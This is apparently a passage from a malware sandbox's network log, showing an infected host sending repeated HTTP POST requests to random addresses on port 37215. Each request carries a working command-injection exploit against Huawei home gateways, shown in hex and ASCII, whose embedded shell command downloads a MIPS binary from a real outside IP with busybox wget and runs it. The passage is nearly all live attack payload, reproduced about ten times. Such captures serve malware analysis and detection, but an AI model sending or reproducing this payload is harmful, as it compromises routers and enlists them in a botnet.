6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
776	192.168.2.13	44434	156.248.183.47	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.757282972 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
777	192.168.2.13	33982	197.200.122.252	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.758343935 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
778	192.168.2.13	43962	41.212.41.218	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.759598970 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
779	192.168.2.13	36230	197.0.213.101	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.761060953 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
780	192.168.2.13	59392	156.167.31.0	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.762083054 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
781	192.168.2.13	43930	41.218.218.29	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.763209105 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
782	192.168.2.13	43254	156.81.150.33	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.764373064 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
783	192.168.2.13	42732	41.182.157.126	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.765712023 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
784	192.168.2.13	52936	197.122.248.88	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.766582012 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
785	192.168.2.13	59890	197.148.119.5	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.767729998 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
786	192.168.2.13	53660	41.150.135.103	37215

Timestamp	Bytes transferred	Direction	Data
